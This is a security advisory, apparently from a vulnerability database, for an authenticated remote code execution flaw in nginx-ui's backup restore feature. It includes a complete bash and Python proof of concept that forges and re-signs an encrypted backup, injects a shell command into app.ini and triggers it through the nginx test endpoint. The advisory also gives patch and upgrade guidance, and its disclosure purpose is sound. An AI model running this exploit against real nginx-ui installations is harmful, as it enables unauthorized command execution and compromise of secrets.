Published October 9, 2026Updated October 9, 2026Source: osv
Summary
## Summary
An authenticated nginx-ui user can call `POST /api/restore`, upload a forged encrypted backup, restore `app.ini`, set nginx command settings such as `TestConfigCmd`, and then trigger command execution with `POST /api/nginx/test`.
This was validated on nginx-ui `2.3.11 2(523) 6c86e5a5` in the local Docker container `uozi/nginx-ui:latest`.
## Impact
An authenticated user can overwrite nginx-ui application configuration and database state through restore, including protected settings that are normally not writable through the settings API. By setting nginx command fields in the restored `app.ini`, the attacker can execute commands in the nginx-ui runtime context. This affects confidentiality, integrity, and availability because the attacker can read or replace secrets, change node/JWT secrets, corrupt application state, and execute arbitrary commands.
## Affected Version / Environment
- Version: `nginx-ui 2.3.11 2(523) 6c86e5a5`
- Deployment: local Docker, `uozi/nginx-ui:latest`
- Base URL used in validation: `http://127.0.0.1:8080`
## Root Cause
`/api/restore` is reachable through normal authenticated-user authorization. The restore handler accepts attacker-supplied backup key material, validates the manifest with a key derived from that supplied AES key, decrypts attacker-controlled backup contents, and copies restored `app.ini` into the live nginx-ui config path.
Relevant code paths:
- `api/backup/router.go`: `POST /api/restore`
- `api/backup/restore.go`: accepts `security_token` and uploaded backup file
- `internal/backup/manifest.go`: derives backup signing key from supplied AES key
- `internal/backup/restore.go`: `restoreNginxUIConfig` overwrites live `app.ini`
- `internal/nginx/exec.go`: nginx command settings execute through shell-backed command paths
## Proof of Concept
Assumptions:
- nginx-ui is already running.
- `$TOKEN` is a valid user JWT.
- `$CONTAINER` is the local disposable Docker container name for cleanup and evidence checks.
```bash
export BASE='http://127.0.0.1:8080'
export TOKEN='<valid nginx-ui JWT>'
export CONTAINER='nginx-ui'
```
Run only against a disposable local instance.
```bash
set -eu
TMP=$(mktemp -d)
trap 'rm -rf "$TMP"' EXIT
docker cp "$CONTAINER":/etc/nginx-ui/app.ini "$TMP/app.ini.original"
curl -sS -D "$TMP/backup.headers" -o "$TMP/backup.zip" \
-H "Authorization: $TOKEN" \
"$BASE/api/backup"
SEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}' "$TMP/backup.headers")
KEY_B64=${SEC%%:*}
IV_B64=${SEC#*:}
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 256)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 256)
mkdir -p "$TMP/outer" "$TMP/inner"
unzip -q "$TMP/backup.zip" -d "$TMP/outer"
openssl enc -d -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \
-in "$TMP/outer/nginx-ui.zip" \
-out "$TMP/nginx-ui.clear.zip"
unzip -q "$TMP/nginx-ui.clear.zip" -d "$TMP/inner"
python3 - "$TMP/inner/app.ini" <<'PY'
from pathlib import Path
import sys
p = Path(sys.argv[1])
cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce"
lines = p.read_text().splitlines()
out = []
in_nginx = False
seen_nginx = False
written = False
for line in lines:
s = line.strip()
if s.startswith("[") and s.endswith("]"):
if in_nginx and not written:
out.append(cmd)
written = True
in_nginx = s.lower() == "[nginx]"
seen_nginx = seen_nginx or in_nginx
if in_nginx and s.startswith("TestConfigCmd"):
if not written:
out.append(cmd)
written = True
continue
out.append(line)
if in_nginx and not written:
out.append(cmd)
elif not seen_nginx:
out.extend(["", "[nginx]", cmd])
p.write_text("\n".join(out) + "\n")
PY
(cd "$TMP/inner" && zip -qr "$TMP/nginx-ui.modified.clear.zip" .)
openssl enc -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \
-in "$TMP/nginx-ui.modified.clear.zip" \
-out "$TMP/outer/nginx-ui.zip"
OUTER="$TMP/outer" KEY_B64="$KEY_B64" python3 <<'PY'
from pathlib import Path
import base64
import hashlib
import hmac
import json
import os
outer = Path(os.environ["OUTER"])
key = base64.b64decode(os.environ["KEY_B64"])
manifest = json.loads((outer / "manifest.json").read_text())
for entry in manifest["files"]:
data = (outer / entry["name"]).read_bytes()
entry["sha256"] = hashlib.sha256(data).hexdigest()
entry["size"] = len(data)
manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"])
manifest_bytes = json.dumps(manifest, separators=(",", ":")).encode()
(outer / "manifest.json").write_bytes(manifest_bytes)
signing_key = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest()
(outer / "manifest.sig").write_text(hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest())
PY
(cd "$TMP/outer" && zip -qr "$TMP/malicious-restore.zip" manifest.sig nginx-ui.zip nginx.zip manifest.json)
curl -sS -X POST "$BASE/api/restore" \
-H "Authorization: $TOKEN" \
-F "restore_nginx=false" \
-F "restore_nginx_ui=true" \
-F "verify_hash=true" \
-F "security_token=$SEC" \
-F "backup_file=@$TMP/malicious-restore.zip"
sleep 10
for i in $(seq 1 80); do
curl -sS -o /dev/null -H "Authorization: $TOKEN" "$BASE/api/settings" && break
sleep 0.5
done
curl -sS -X POST "$BASE/api/nginx/test" \
-H "Authorization: $TOKEN"
docker exec "$CONTAINER" sh -lc 'cat /tmp/nginx-ui-restore-rce'
# Cleanup and return the disposable instance to its original config.
docker cp "$TMP/app.ini.original" "$CONTAINER":/etc/nginx-ui/app.ini
docker exec "$CONTAINER" sh -lc 'rm -f /tmp/nginx-ui-restore-rce'
docker restart "$CONTAINER"
```
Expected output:
```text
{"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true}
{"message":"","level":-1,"test_scope":"global"}
restored-rce
```
## Cleanup
The PoC performs cleanup at the end. If interrupted, restore the original `app.ini` from a known-good backup, remove `/tmp/nginx-ui-restore-rce`, and restart nginx-ui before continuing other tests.
## Patch Guidance
Require an elevated/admin secure session for restore, do not allow ordinary authenticated users to restore nginx-ui app state, bind backup manifest signatures to a server-side secret or administrator-held passphrase, and block protected app settings from being restored unless explicitly approved through a hardened migration path.
Advisory Timeline
First published October 9, 2026 (3 days ago).
Last revised October 9, 2026 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
Go
Update github.com/0xJacky/Nginx-UI to 1.9.10-0.20260728074146-a467ed652591 or later
go get github.com/0xJacky/Nginx-UI@v1.9.10-0.20260728074146-a467ed652591
After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.
Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.2/10).
How do I check if my project is affected by CVE-2026-107806?
CVE-2026-107806 affects github.com/0xJacky/Nginx-UI. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-107806 and 200,000+ other known vulnerabilities.
Severity & Exploitability
CVSS Score
9.2
Exploitation is straightforward and causes maximum impact. Patch immediately.
Nginx UI: Incomplete fix of CVE-2026-84315 - the api/cluster router was not - wrapped in RequireSecureSession, so those sensitive mutations run without OTP step-up